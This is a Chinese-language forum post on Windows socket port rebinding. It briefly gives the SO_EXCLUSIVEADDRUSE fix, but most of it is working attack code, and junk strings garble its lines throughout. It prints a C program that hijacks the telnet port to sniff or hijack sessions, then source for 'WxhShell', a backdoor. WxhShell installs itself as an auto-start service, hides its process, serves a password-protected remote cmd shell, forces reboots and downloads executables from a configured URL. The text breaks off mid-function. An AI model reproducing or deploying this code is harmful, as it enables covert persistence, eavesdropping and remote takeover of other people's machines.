在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
]R *A s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
PW4q~rc=: ntY]SK%Z saddr.sin_family = AF_INET;
SX*RP;vHy gZ5 |UR< saddr.sin_addr.s_addr = htonl(INADDR_ANY);
8i pez/ $8FUfJ1@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
snJ129}A 7o4\oRGV 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
'<M{)? uq{beC 这意味着什么?意味着可以进行如下的攻击:
?4B`9<j8% e# bn# 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
g=rbPbu c`W,~[Q<O+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
y)*RV;^ H>C=zo,oiC 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
\Cj B1]I 7d vnupLh 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Uz7<PLxd
@8
6f 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
OKV8zO NO3/rJ6- 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
j#6.Gq n*$ g]G$ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
e;jdqF~v! 'Vbi VLWD #include
ME dWLFf #include
UI#h&j5pW #include
ww/Uzv #include
=#\:}@J5I DWORD WINAPI ClientThread(LPVOID lpParam);
u4j5w int main()
Q20%"&Xp] {
he4(hX^ WORD wVersionRequested;
CWlw0X DWORD ret;
M`>E|"< WSADATA wsaData;
1"g<0
W BOOL val;
g5yJfRLxp SOCKADDR_IN saddr;
Lv%x81]K SOCKADDR_IN scaddr;
26nx`w?j( int err;
$C\BcKlmv SOCKET s;
:%.D78& SOCKET sc;
?8$Q-1= int caddsize;
z @Y;r=v HANDLE mt;
oQ# 8nu{k DWORD tid;
m2o0y++TjW wVersionRequested = MAKEWORD( 2, 2 );
]tD]Wx% err = WSAStartup( wVersionRequested, &wsaData );
SdWV3 if ( err != 0 ) {
&o*A{ printf("error!WSAStartup failed!\n");
<qSC#[xu return -1;
OYd !v`< }
`]X>V, saddr.sin_family = AF_INET;
1qch]1
^G 0mnw{fE8_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
]!
dTG PdCEUh\>y saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
6pzSp saddr.sin_port = htons(23);
s CRdtP if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
OH88n69 {
Z7#+pPt! printf("error!socket failed!\n");
N0lC0
N?_J return -1;
eJSxn1GW }
g ?k=^C val = TRUE;
. ^u,. //SO_REUSEADDR选项就是可以实现端口重绑定的
;I*o@x_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
TO_e^A# {
`g,..Ns-r printf("error!setsockopt failed!\n");
NgwbQ7) return -1;
WM{=CD }
xmX 4qtAL //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
/B3i C#? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
G"6 !{4g //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
O}P`P'Y|' *fdTpXa if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
~BF&rx5Q {
Rv=YFo[B ret=GetLastError();
;,TFr}p` printf("error!bind failed!\n");
\8
":]EU return -1;
>V937 }
yuVs
YV@" listen(s,2);
GmG5[?) while(1)
AdmC&!nH {
:+Z%; Dc caddsize = sizeof(scaddr);
=I4lL]> //接受连接请求
>Q/Dk7 # sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
VQs5"K" if(sc!=INVALID_SOCKET)
[e
q&C_|D {
GeqPRah mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
:Al!1BJQ if(mt==NULL)
;j7#7MN2_E {
dI2
V>vk printf("Thread Creat Failed!\n");
y9;Yivr) break;
=vPj%oLp'a }
lk!@? }
=-T]3! CloseHandle(mt);
omFz@ }
)1z@ closesocket(s);
pw#-_ WSACleanup();
@L`jk+Y0vF return 0;
K'xV;r7Nt }
S@Y39 DWORD WINAPI ClientThread(LPVOID lpParam)
7nSxi+6e {
fOHxtHM SOCKET ss = (SOCKET)lpParam;
5N]"~w* SOCKET sc;
9^x> 3Bo unsigned char buf[4096];
@d_M@\r=j SOCKADDR_IN saddr;
KXrjqqXs long num;
i@q&5;%% DWORD val;
)_:NLo: DWORD ret;
K@2),(z //如果是隐藏端口应用的话,可以在此处加一些判断
Fcx&hj1gQ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}qUX=s
GG saddr.sin_family = AF_INET;
$j~RWfw- saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
3'Rx=G' saddr.sin_port = htons(23);
I'Hf{Erw if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
gr{ DWCK {
z{543~Og59 printf("error!socket failed!\n");
So6x"1B return -1;
IgzQr > }
3R/bz0 V> val = 100;
Zfw,7am/ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
KoRV%@I {
\*da6Am ret = GetLastError();
0_/[k*Re return -1;
y}
'@R$ }
2!\DPX if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
iCoX&"lb {
"tZe>>I ret = GetLastError();
K:M8h{Ua return -1;
8|^7ai[am }
y7{?Ip4[ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
AX INThJ {
"MsIjSu printf("error!socket connect failed!\n");
l] vm=7: closesocket(sc);
_aphkeqd closesocket(ss);
xk5]^yDp return -1;
_{>vTBU4F }
VUc%4U{Cti while(1)
("@!>|H {
Y2TtY; //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Mt$
*a //如果是嗅探内容的话,可以再此处进行内容分析和记录
B?QIN] //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
s.rm7r@# num = recv(ss,buf,4096,0);
b>W%t if(num>0)
s"|Pdc4 send(sc,buf,num,0);
V#HuIgf- else if(num==0)
im8 CmQ break;
/FII07V num = recv(sc,buf,4096,0);
:s,Z<^5a)g if(num>0)
)BE1Q*=
n send(ss,buf,num,0);
'"^'MXa else if(num==0)
(:_$5&i7 break;
hp2t"t }
965jtn closesocket(ss);
VVZ'i.*_3? closesocket(sc);
b>|6t~}M return 0 ;
W^Yxny }
l}
/F* hxx.9x>ow E.TAbD&5( ==========================================================
?}0 ,o. |N2#ItBbW 下边附上一个代码,,WXhSHELL
Za9qjBH
t!XwW$@ ==========================================================
vt8By@]: ]`K2N #include "stdafx.h"
vgPCQO([ WMdg1J+~ #include <stdio.h>
JI}'dU>*U: #include <string.h>
3$ pX #include <windows.h>
l-Z4Mq6*L #include <winsock2.h>
j_AACq
{. #include <winsvc.h>
UVP vOtZj #include <urlmon.h>
UfGkTwoo= 29KiuP #pragma comment (lib, "Ws2_32.lib")
XwmL.Gg:]7 #pragma comment (lib, "urlmon.lib")
+whDU2 " q1,~ #define MAX_USER 100 // 最大客户端连接数
py4 h(04u #define BUF_SOCK 200 // sock buffer
Xhm
c6? #define KEY_BUFF 255 // 输入 buffer
KPF1cJ2N SU0
hma8 #define REBOOT 0 // 重启
! mHO$bQ" #define SHUTDOWN 1 // 关机
Sc0w.5m6 (HVGlw'` #define DEF_PORT 5000 // 监听端口
X8|, DVA:Cmh\ #define REG_LEN 16 // 注册表键长度
:>
'+"M2r #define SVC_LEN 80 // NT服务名长度
G[=c
Ss, $i&zex{\ // 从dll定义API
O-^Ma-} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
_XBd3JN@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
C]6O!Pb0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
)e{aN+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
d6O[ @CyP 5O%{{J // wxhshell配置信息
AH^/V}9H struct WSCFG {
I,tud!p` int ws_port; // 监听端口
{FkF char ws_passstr[REG_LEN]; // 口令
Psf#c:*_) int ws_autoins; // 安装标记, 1=yes 0=no
@dKTx#gZ char ws_regname[REG_LEN]; // 注册表键名
s<Ziegmw|g char ws_svcname[REG_LEN]; // 服务名
+>,I1{u%& char ws_svcdisp[SVC_LEN]; // 服务显示名
m`XHKRp char ws_svcdesc[SVC_LEN]; // 服务描述信息
3BI1fXT4=j char ws_passmsg[SVC_LEN]; // 密码输入提示信息
qPNR`%}Q int ws_downexe; // 下载执行标记, 1=yes 0=no
R_C) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
_f83-':W6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
^('wy}; (=0.in Z };
XSR
4iu ;l+Leex
// default Wxhshell configuration
# d struct WSCFG wscfg={DEF_PORT,
.Mbz3;i0 "xuhuanlingzhe",
l#o
~W` 1,
.A|udZ, "Wxhshell",
S[gx{Bxiw "Wxhshell",
7#XzrT] "WxhShell Service",
{c'lhUB "Wrsky Windows CmdShell Service",
IxU/?Zm "Please Input Your Password: ",
0B2t"(& 1,
4x34u}l "
http://www.wrsky.com/wxhshell.exe",
%J(:ADu] "Wxhshell.exe"
W\3X=@|u) };
Y<OFsWYY dPlV>IM$z // 消息定义模块
T)/eeZ$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
0J9x9j`&j char *msg_ws_prompt="\n\r? for help\n\r#>";
o/E >f_k[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
jcOcWB| char *msg_ws_ext="\n\rExit.";
1}x%%RD_ char *msg_ws_end="\n\rQuit.";
K?;DMUSY\ char *msg_ws_boot="\n\rReboot...";
afVT~Sf{ char *msg_ws_poff="\n\rShutdown...";
(QEG4&9 char *msg_ws_down="\n\rSave to ";
+7Gwg )nkY_'BV char *msg_ws_err="\n\rErr!";
-w2/w@& char *msg_ws_ok="\n\rOK!";
J1k>07}| K-v#.e4 char ExeFile[MAX_PATH];
D*jM1w_` int nUser = 0;
pi(m7Ci" HANDLE handles[MAX_USER];
-@'FW*b int OsIsNt;
Lbgi7|& .v
K-LHs SERVICE_STATUS serviceStatus;
p K*TE5] SERVICE_STATUS_HANDLE hServiceStatusHandle;
1EK*g;H dO'(2J8 // 函数声明
?,z}%p int Install(void);
$Sq:q0 int Uninstall(void);
ch]IzdD int DownloadFile(char *sURL, SOCKET wsh);
`Di{}/2 int Boot(int flag);
Oketwa void HideProc(void);
J.a]K[ci int GetOsVer(void);
x2xRBkRg= int Wxhshell(SOCKET wsl);
sJZiI}Xc void TalkWithClient(void *cs);
G|Ti4_w
int CmdShell(SOCKET sock);
9up3[F$ int StartFromService(void);
t@(HF-4~= int StartWxhshell(LPSTR lpCmdLine);
Rcuz(yS8 1MFbQs^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
x}4q {P5$ VOID WINAPI NTServiceHandler( DWORD fdwControl );
9 hl_|r~%* =X}J6|>X // 数据结构和表定义
.-zom~N-? SERVICE_TABLE_ENTRY DispatchTable[] =
&oNAv-m^GD {
Rq -ZL{LR7 {wscfg.ws_svcname, NTServiceMain},
-"x$ZnHU {NULL, NULL}
]Wup/o };
mh%VrAq z{q`G wW // 自我安装
).O)p9 int Install(void)
KNl$3nX {
w0.
u\ char svExeFile[MAX_PATH];
tQVVhXQ7 HKEY key;
@7}W=HB strcpy(svExeFile,ExeFile);
>P(.:_^p kh<2BOV // 如果是win9x系统,修改注册表设为自启动
F4QVAOM]U if(!OsIsNt) {
:jf3HG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&{:-]g\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gXU8hTd8 RegCloseKey(key);
u8^lB7!e/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7GGUV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(Ld i|jL RegCloseKey(key);
Iu{V,U return 0;
k6^Z~5
Sy }
qq?!LEZ }
rv;3~'V }
:RYTL'hes else {
x`s>*^ 7<4qQ.deE // 如果是NT以上系统,安装为系统服务
XW/o<[91 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
f);FoVa6 if (schSCManager!=0)
MV"=19] {
#yen8SskB SC_HANDLE schService = CreateService
4-w{BZuS (
ZCw]m#lS schSCManager,
e20-h3h+ wscfg.ws_svcname,
{
w_e9W bi wscfg.ws_svcdisp,
ooGM$U SERVICE_ALL_ACCESS,
Gj*9~*xm( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
%O<BfIZ SERVICE_AUTO_START,
x-c"%Z| SERVICE_ERROR_NORMAL,
bt *k.=p svExeFile,
=1!
'QUc NULL,
_F{C\} NULL,
~&O%N NULL,
=N@t'fOr NULL,
PF2nLb2- NULL
G$PE}%X );
k)u[0} if (schService!=0)
=Qq+4F)MD {
IV-{ve6 CloseServiceHandle(schService);
6@f-Glwg CloseServiceHandle(schSCManager);
Vl]>u+YqE strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
:&Nbw strcat(svExeFile,wscfg.ws_svcname);
p_ =z# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
G3]4A&h9v~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0:+E-^X RegCloseKey(key);
DI vHvFss return 0;
i4Jc.8^9$ }
oU|c.mYe }
6zkaOA46V CloseServiceHandle(schSCManager);
B!yr!DWv }
dx]>(e@(t{ }
/?!u{(h } <i[HbgUlO. return 1;
q4q6c")zp }
VQI3G K,]=6Rj // 自我卸载
R+| h w; int Uninstall(void)
g`^x@rj`E {
<#.g=ay HKEY key;
;4a{$Lw~^9 @o^Ww if(!OsIsNt) {
;jPXs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-M2yw RegDeleteValue(key,wscfg.ws_regname);
Ymgw-NJ;( RegCloseKey(key);
a?.=V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
@;kSx":b RegDeleteValue(key,wscfg.ws_regname);
VpUAeWb RegCloseKey(key);
&zhAh1m return 0;
8fb'yjIC }
uEYtE7 }
tgaO!{9I? }
u>$t' else {
X8|EHb<
xPgBV~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
`6YN3XS if (schSCManager!=0)
K^$=dLp {
':W[ A SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
HDKbF/ if (schService!=0)
tDo"K3 {
fnY.ao1-s[ if(DeleteService(schService)!=0) {
+#By*;BJ CloseServiceHandle(schService);
vy/-wP|1 CloseServiceHandle(schSCManager);
]9XDS[<2` return 0;
h~26WLf. }
:EH=_" CloseServiceHandle(schService);
/bEAK- }
:KN-F86i CloseServiceHandle(schSCManager);
7.T?#;'3 }
C?Ucu]cW }
X.V~SeS =EIkD9u return 1;
$N\Ja*g }
mTh]PPo ccnK#fn v // 从指定url下载文件
[Yyk0Qv|4 int DownloadFile(char *sURL, SOCKET wsh)
l@\FWWQ {
Tr|JYLwF HRESULT hr;
*kVV+H<X|b char seps[]= "/";
i?gSC<a char *token;
KgG4*< char *file;
8_tQa^.n\ char myURL[MAX_PATH];
':}\4j&{E char myFILE[MAX_PATH];
2Hdu:"j ExM,g' 7 strcpy(myURL,sURL);
!+ njS token=strtok(myURL,seps);
DJ%PWlK5 while(token!=NULL)
|' . {
nd(S3rct& file=token;
-DCbko token=strtok(NULL,seps);
yBRC*0+Vy }
m3ff;, 4sM.C9W GetCurrentDirectory(MAX_PATH,myFILE);
Mq8L0%j strcat(myFILE, "\\");
aP`P)3O6)1 strcat(myFILE, file);
?}7p"3j'z send(wsh,myFILE,strlen(myFILE),0);
;wVwX6:ZKr send(wsh,"...",3,0);
a:S - hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
6r_)sHf if(hr==S_OK)
mqJ_W[y7 return 0;
-![|}pX else
+*^H#|! return 1;
}-fl$j?9E " Jr-J#gg }
&[SC|=U'M v
LZoa-w: // 系统电源模块
Wl Sm int Boot(int flag)
Sc
{
ZC}QId HANDLE hToken;
T)})
pt!V TOKEN_PRIVILEGES tkp;
wAd9 !by\9
?n if(OsIsNt) {
kW (Bkuc) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
j7c3(*Pl LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
wPl%20t tkp.PrivilegeCount = 1;
pmilrZmm] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
\;-|-8Q AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
4X$Qu6#i if(flag==REBOOT) {
-^57oU if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
qw8Rlws% return 0;
n(|^SH4$b }
%IRi1EmN8 else {
o]:9')5^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
4&f3%eTi return 0;
Rh |nP&6 }
LK"69Qx?5q }
* 4Izy14e else {
*,m; if(flag==REBOOT) {
?
qA]w9x if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
r9lR|\Ax2U return 0;
]q-Y }1di8 }
*:NQ&y*uj else {
:lzrgsW if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
_? OG1t! return 0;
:c[L3rJl }
%[yJ4WL }
9S -9.mvop Q^(b)>?r; return 1;
Yrn)VV[)h }
\15nSB {V-v-f // win9x进程隐藏模块
[PM4k0YC 8 void HideProc(void)
J")#I91 {
][] 2|bn(QYz HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
u4_9)P`]0 if ( hKernel != NULL )
WT}H>T {
H4JTGt1" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
l (%1jC8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
JLJ;TM'4= FreeLibrary(hKernel);
"Yca%: }
@]#1(9P +@:x!q|^ return;
ym6K!i]q4 }
ujucZ9}yd @<Yy{~L| // 获取操作系统版本
,{q;;b9 int GetOsVer(void)
(b6NX~G-: {
+KEWP\r OSVERSIONINFO winfo;
)tpL#J winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
2[;_d;oB @ GetVersionEx(&winfo);
QVE6We if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
nQ L@hc return 1;
S[T8T|_ else
Qdp)cT return 0;
IkXx# ) }
s!e3|pGS M:6"H%h,W // 客户端句柄模块
2T TdH) int Wxhshell(SOCKET wsl)
gGS=cdlV {
S@ f9c SOCKET wsh;
{vO9ptR; struct sockaddr_in client;
RAK-UN DWORD myID;
{
buy"X4 W 8!Qv8rf while(nUser<MAX_USER)
lu6(C {
$lut[o74 int nSize=sizeof(client);
n\.V qe wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
LYg-
.~<I if(wsh==INVALID_SOCKET) return 1;
zNuJj L t!\tF[9e handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
XF_pN[} if(handles[nUser]==0)
lUiL\~Gq closesocket(wsh);
/[>sf[X\I9 else
T${Q.zHY[! nUser++;
50C }
]]juN WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
@Pzu^ E=w1=,/y return 0;
14'45 }
.k
\@zQ|Ta u=_mvN // 关闭 socket
t@Nyr&|D void CloseIt(SOCKET wsh)
Dl8;$~ {
M {Q;: closesocket(wsh);
wIBO
^w\J nUser--;
]P2"[y ExitThread(0);
$"&{aa }
BFJnV.0M! [R7Y}k:9U // 客户端请求句柄
s&!a void TalkWithClient(void *cs)
'-/xyAzS {
-8rjgB~."/ xpx\=iAe SOCKET wsh=(SOCKET)cs;
A6iq[b] char pwd[SVC_LEN];
Nl(3Xqov char cmd[KEY_BUFF];
fe#\TNeQJ[ char chr[1];
D+7Rz_= int i,j;
yqiq,=OvP qc~iQSI while (nUser < MAX_USER) {
U2~kJ ?#YE`] if(wscfg.ws_passstr) {
CoAvSw if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Km6YP!i //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
-{vKus //ZeroMemory(pwd,KEY_BUFF);
+V^;.P</ i=0;
M_w<m while(i<SVC_LEN) {
:'&brp3ii= Zdo'{ $
// 设置超时
HuKc9U'7A fd_set FdRead;
k/gZ, struct timeval TimeOut;
Q7COQ2~K FD_ZERO(&FdRead);
H =^`! FD_SET(wsh,&FdRead);
}:*]aL<7_ TimeOut.tv_sec=8;
x*&|0n.D TimeOut.tv_usec=0;
Ziu]'# int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
nSAdCJ;4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
RTJ3qhY fCobzDy
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
g]yBA7/S" pwd
=chr[0]; yU}qOgXx
if(chr[0]==0xd || chr[0]==0xa) { 8d-t|HkN
pwd=0; df #$9-
break; TSWM
|#u':
} 1!T1Y,w
i++; =-lb)Z"d
} u21EP[[,
P0PWJ^+,+
// 如果是非法用户,关闭 socket f/Bp.YwL
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t=O8f5Pf{
} KC#q@InK
9lH?-~9
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a1y-3z
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); } c}_<#I
5K?IDt7A]
while(1) { *6F[t.Or
Yv!a88+A8M
ZeroMemory(cmd,KEY_BUFF); E6gI,f/p0X
]Y8<`;8/
// 自动支持客户端 telnet标准 W+X6@/BO
j=0; #@~+HC=
while(j<KEY_BUFF) { B[-v[K2
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *zL}&RUKM
cmd[j]=chr[0]; <=0
u2~E
if(chr[0]==0xa || chr[0]==0xd) { `eCo~(Fy
cmd[j]=0; K_ ~"}
break; ^ tg<K
} wInh~p
j++; %vhnl'
} Z//+Gw<'
z(^]J`+\
// 下载文件 )i^<r ;_z
if(strstr(cmd,"http://")) { vv+z'(l
send(wsh,msg_ws_down,strlen(msg_ws_down),0); QR0Q{}wbqU
if(DownloadFile(cmd,wsh)) w{@ o^rs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %k?U9pj^
else ;Q*or2"!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %pd ,%pg
} Z>W g*sZy)
else { 4 bH^":i(
pF Rg?-
switch(cmd[0]) { y)!5R 3b
$LFYoovX
// 帮助 ssxzC4m
case '?': { y6,/:qm
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9!}8UALD
break; GV69eG3bX#
} Q;JM$a?5iV
// 安装 ^R
Fp8w(
case 'i': { 0dhaAq`k
if(Install()) usCt#eZK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aV|hCN~
else .QJ5sgmh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vq?p|wy
break; ,+xB$e
} >X4u]>X
// 卸载 F!Q@u
case 'r': { jQ
if(Uninstall()) CtAwBQO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u5: q$P
else r^paD2&}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /%TI??PGu
break; 'JfdV%M
} QYjsDL><
// 显示 wxhshell 所在路径 <Fc;_GG
case 'p': { (ECnMti+
char svExeFile[MAX_PATH]; ,N[7/kT|
strcpy(svExeFile,"\n\r"); _i|t
Y4L
strcat(svExeFile,ExeFile); ( _)jkI
\
send(wsh,svExeFile,strlen(svExeFile),0); J| bd)0
break; S(8$S])0
} 7KL v6]b
// 重启 kDN:ep{/
case 'b': { ]?
g@jRs
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?_vakJ
)
if(Boot(REBOOT)) _EMwm&!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $?<Z!*x
else { 4.=3M
closesocket(wsh); u\{ g(li-I
ExitThread(0); =L:4i\4
} l6kWQpV
break; aV?@s4
} +hT:2TXn
// 关机 Q[pV!CH
case 'd': { /bi[e9R
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JB`\G=PiL
if(Boot(SHUTDOWN)) Q/_f
zg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _:C9{aEZb
else { DhT>']Z
closesocket(wsh); >>o dZL
ExitThread(0); OJ$]V,Z00x
} -[!P!d=
break; $[&*Bj11Yg
} G<f@#[$'
// 获取shell a]/>ra5{
case 's': { vbBc}G"w
CmdShell(wsh); FCuB\Q
closesocket(wsh); 3`.7<f`
ExitThread(0); 2.zsCu4lj.
break; +W\f(/ q0
} /8g^T")
// 退出 Q&g^c2
case 'x': { [[Fx[
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pDcjwlA%
CloseIt(wsh); /[)qEl2]K
break; 5sJJGv#6
} rIhl.5Y
// 离开 i2(1ki/|O
case 'q': { s,n0jix@
send(wsh,msg_ws_end,strlen(msg_ws_end),0); `gb5"`EZ
closesocket(wsh); ez^@NK
WSACleanup(); ^[XYFQ TL
exit(1); #Av.iAs
break; w1#gOwA,$
} ?zVL;gVWA
} ;u(<h?%e
} M8Z2Pg\0
"WK{ >T
// 提示信息 : b~6i%b
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U1RpLkibQ
} [uls8
"^/j
} u1PaHgi$
,%Up0Rr,
return; &PK\|\\2
} Q|L9gz[?
:8+Ni d)
// shell模块句柄
1/-43B
int CmdShell(SOCKET sock) rT5Ycm@
{ 9Z'8!$LYg
STARTUPINFO si; q51Uf_\/
ZeroMemory(&si,sizeof(si)); 4^Q:
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
{=QiZWu
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qt
2d\f
PROCESS_INFORMATION ProcessInfo; S. q].a
char cmdline[]="cmd"; QC;^xG+W
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W.0L:3<"
return 0; Z%Zd2
v
} +g]yA3
ugx%_x6
// 自身启动模式 3*)ig@e6
int StartFromService(void)
S"$m]
{ 7{qy7,Gp
typedef struct Y=n4K<
{ e0@Y#7N62
DWORD ExitStatus; Ej>g.vp8I
DWORD PebBaseAddress; eI:C{0p=
DWORD AffinityMask; xz{IH,?IG
DWORD BasePriority; E7)=`kSl
